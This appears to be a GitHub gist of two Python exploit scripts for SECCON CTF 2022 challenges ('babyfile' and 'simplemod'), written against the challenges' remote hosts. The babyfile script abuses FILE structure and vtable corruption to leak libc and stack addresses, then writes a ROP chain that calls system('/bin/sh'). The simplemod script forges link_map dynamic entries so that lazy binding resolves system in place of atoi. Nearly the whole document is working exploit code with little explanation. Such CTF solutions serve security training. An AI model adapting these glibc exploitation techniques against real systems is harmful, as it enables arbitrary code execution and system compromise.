Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Created November 13, 2022 05:22
Show Gist options
  • Save shift-crops/ff8c9f60660e2e7ab0e8c9f615c63176 to your computer and use it in GitHub Desktop.
Save shift-crops/ff8c9f60660e2e7ab0e8c9f615c63176 to your computer and use it in GitHub Desktop.
SECCON CTF 2022 babyfile/simplemod
#!/usr/bin/env python3
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
local = {'argv':[bin_file]}, \
remote = {'host':'babyfile.seccon.games', 'port':3157})
env.set_item('libc', debug = None, \
local = None, \
remote = 'libc-2.31.so')
env.select()
#==========
binf = ELF(bin_file)
libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_wfile_jumps = libc.symbols['_IO_wfile_jumps']
#==========
def attack(conn, **kwargs):
bf = BabyFile(conn)
bf.set_u8(File.flags, 0)
bf.set_u8(File.vtable, 0xa0-0x18)
bf.sync() # _IO_new_file_seekoff
bf.set_u8(File.vtable, 0xa0-0x48)
bf.sync() # _IO_new_file_overflow
bf.set_u8(File.io_read_end, 0x70)
bf.set_u8(File.io_write_base, 0x70)
bf.set_u8(File.fileno, int(constants.STDOUT_FILENO))
bf.set_u8(File.vtable, 0xa0)
bf.sync() # _IO_new_file_sync
addr_libc_wfile_jumps = u64(conn.recv(8))
libc.address = addr_libc_wfile_jumps - offset_libc_wfile_jumps
info('addr_libc_base = 0x{:08x}'.format(libc.address))
addr_libc_environ = libc.symbols['environ']
addr_libc_mem_jumps = addr_libc_wfile_jumps + 0x180
addr_libc_file_jumps = libc.symbols['_IO_file_jumps']
addr_libc_str_sh = next(libc.search(b'/bin/sh'))
bf.set_u64(File.io_read_end, addr_libc_environ)
bf.set_u64(File.io_write_base, addr_libc_environ)
bf.set_u64(File.io_write_ptr, addr_libc_environ+8)
bf.sync() # _IO_new_file_sync
addr_stack = u64(conn.recv(8)) - 0x120
info('addr_stack = 0x{:08x}'.format(addr_stack))
def writemem(addr, data):
data = data.ljust((len(data)+0xf)//0x10*0x10, b'\x00')
bf.set_u64(File.vtable, addr_libc_mem_jumps)
for i, d in enumerate([(data[i:i+8], data[i+8:i+0x10]) for i in range(0,len(data), 0x10)]):
f,s = u64(d[0]), u64(d[1])
bf.set_u64(File.io_write_base, f)
bf.set_u64(File.io_write_ptr, f+s)
bf.set_u64(File.bufloc, addr+0x10*i)
bf.set_u64(File.sizeloc, addr+0x10*i+8)
bf.sync() # _IO_mem_sync
rop = ROP(libc)
rop.system(addr_libc_str_sh)
rop.exit(0)
writemem(addr_stack+0x18, bytes(rop))
writemem(addr_stack, p64(rop.ret_24.address))
class BabyFile:
def __init__(self, conn):
self.recv = conn.recv
self.recvuntil = conn.recvuntil
self.recvline = conn.recvline
self.unrecv = conn.unrecv
self.send = conn.send
self.sendline = conn.sendline
self.sendafter = conn.sendafter
self.sendlineafter = conn.sendlineafter
def exit(self):
self.sendlineafter(b'> ', b'0')
def sync(self):
self.sendlineafter(b'> ', b'1')
def set_u8(self, ofs, val):
self.sendlineafter(b'> ', b'2')
self.sendlineafter(b'offset:', str(ofs).encode())
self.sendlineafter(b'value:', str(val).encode())
def set_u64(self, ofs, val):
for i in range(8):
self.set_u8(ofs+i, (val>>(8*i))&0xff)
class File:
flags = 0
io_read_end = 0x10
io_write_base = 0x20
io_write_ptr = 0x28
io_buf_base = 0x38
io_buf_end = 0x40
fileno = 0x70
vtable = 0xd8
bufloc = 0xf0
sizeloc = 0xf8
#==========
def main():
comn = Communicate(env.mode, **env.target)
comn.connect()
comn.run(attack)
comn.interactive()
if __name__=='__main__':
main()
#==========
#!/usr/bin/env python3
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'rlocal', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', rlocal = 'SOCKET', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':'set follow-fork-mode parent\nset $map = ((struct link_map*)0x00007ffff7fc7000)'}, \
local = {'argv':[bin_file]}, \
rlocal = {'host':'localhost', 'port':7250}, \
remote = {'host':'simplemod.seccon.games', 'port':7250})
env.select()
#==========
libm = ELF('libmod.so')
ofs_libm_gotplt = libm.sep_section['.got.plt']
ofs_libm_got_atoi = libm.got['atoi']
ofs_libm_gbuf = libm.symbols['gbuf']
# ofs_libm_plt_scf = libm.plt['__stack_chk_fail']
ofs_libm_call_scf = 0x1263
elf64_sym = struct.Struct("<LBBHQQ")
elf64_rela = struct.Struct("<QQq")
#==========
def attack(conn, rep_argl, ofs_map, **kwargs):
ofs_m2c = rep_argl[0]
sm = SimpleMod(conn)
libm_map = LinkMap(ofs_map)
libc_map = LinkMap(ofs_map + ofs_m2c)
sm.char(libc_map.l_addr, 0x1b)
ofs_gbuf = ofs_libm_gbuf - ofs_libm_gotplt
new_ent = 13
sm.char(libm_map.l_info['DT_STRTAB'], 0xd8) # .got.plt (DT_PLTGOT)
sm.data(0, b'exit_imm\x00system\x00')
sm.char(libm_map.l_info['DT_SYMTAB'], 0xd8)
sm.data(elf64_sym.size*9-ofs_gbuf, elf64_sym.pack(ofs_gbuf, 0x12, 0, 0xe, ofs_libm_call_scf, 0x00)) # exit_imm -> stack_chk_fail
sm.data(elf64_sym.size*new_ent-ofs_gbuf, elf64_sym.pack(ofs_gbuf+9, 0x12, 0, 0x0, 0, 0x0)) # new entry for system
sm.char(libm_map.l_info['DT_JMPREL'], 0xe0) # gbuf
sm.data(elf64_rela.size*1, elf64_rela.pack(ofs_libm_got_atoi, (new_ent<<32) | 7, 0)) # resolve stack_chk_fail (system+0x1b) -> GOT[atoi]
sm.exit()
conn.sendlineafter(b'> ', b'/bin/sh')
def check_linkmap(conn, rep_argl, prog=None, **kwargs):
ofs = rep_argl[0]
if prog is not None:
prog.status('0x{:04x}'.format(ofs))
sm = SimpleMod(conn)
libm_map = LinkMap(ofs)
sm.char(libm_map.l_addr, 0x19)
sm.exit()
conn.recvuntil(b'MENU')
class SimpleMod:
def __init__(self, conn):
self.recv = conn.recv
self.recvuntil = conn.recvuntil
self.recvline = conn.recvline
self.unrecv = conn.unrecv
self.send = conn.send
self.sendline = conn.sendline
self.sendafter = conn.sendafter
self.sendlineafter = conn.sendlineafter
def char(self, offset, v):
self.sendlineafter(b'> ', b'1')
self.sendlineafter(b'offset: ', str(offset).encode())
self.sendlineafter(b'value: ', str(v).encode())
def data(self, offset, data):
for i, num in enumerate(data):
if num == 0:
continue
self.char(offset+i, num)
def exit(self):
self.sendlineafter(b'> ', b'0')
class LinkMap:
def __init__(self, addr):
info_tag = {'DT_STRTAB':5, 'DT_SYMTAB':6, 'DT_JMPREL':23}
self.l_addr = addr
self.l_info = { k: addr+0x40+8*v for (k,v) in info_tag.items() }
#==========
def main():
if env.check(['debug', 'local']):
os.environ['LD_LIBRARY_PATH'] = '.'
comn = Communicate(env.mode, **env.target)
comn.quiet = True
comn.connect()
ofs_map = (list(comn.repeat(check_linkmap, True, [0xf80, 0x10b0, 0x1150, 0x13e0, 0x14e0])) + [None])[0]
if ofs_map is None:
with log.progress('Finding map ') as p:
ofs_map = comn.repeat(check_linkmap, True, range(0xf80, 0x2000, 0x10), prog=p)[0]
info('libmod link_map offset: 0x{:04x}'.format(ofs_map))
comn.quiet = False
comn.connect()
comn.repeat(attack, True, [0x560, 0x570, 0x580, 0x550], ofs_map=ofs_map)
comn.interactive()
if __name__=='__main__':
main()
#==========
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment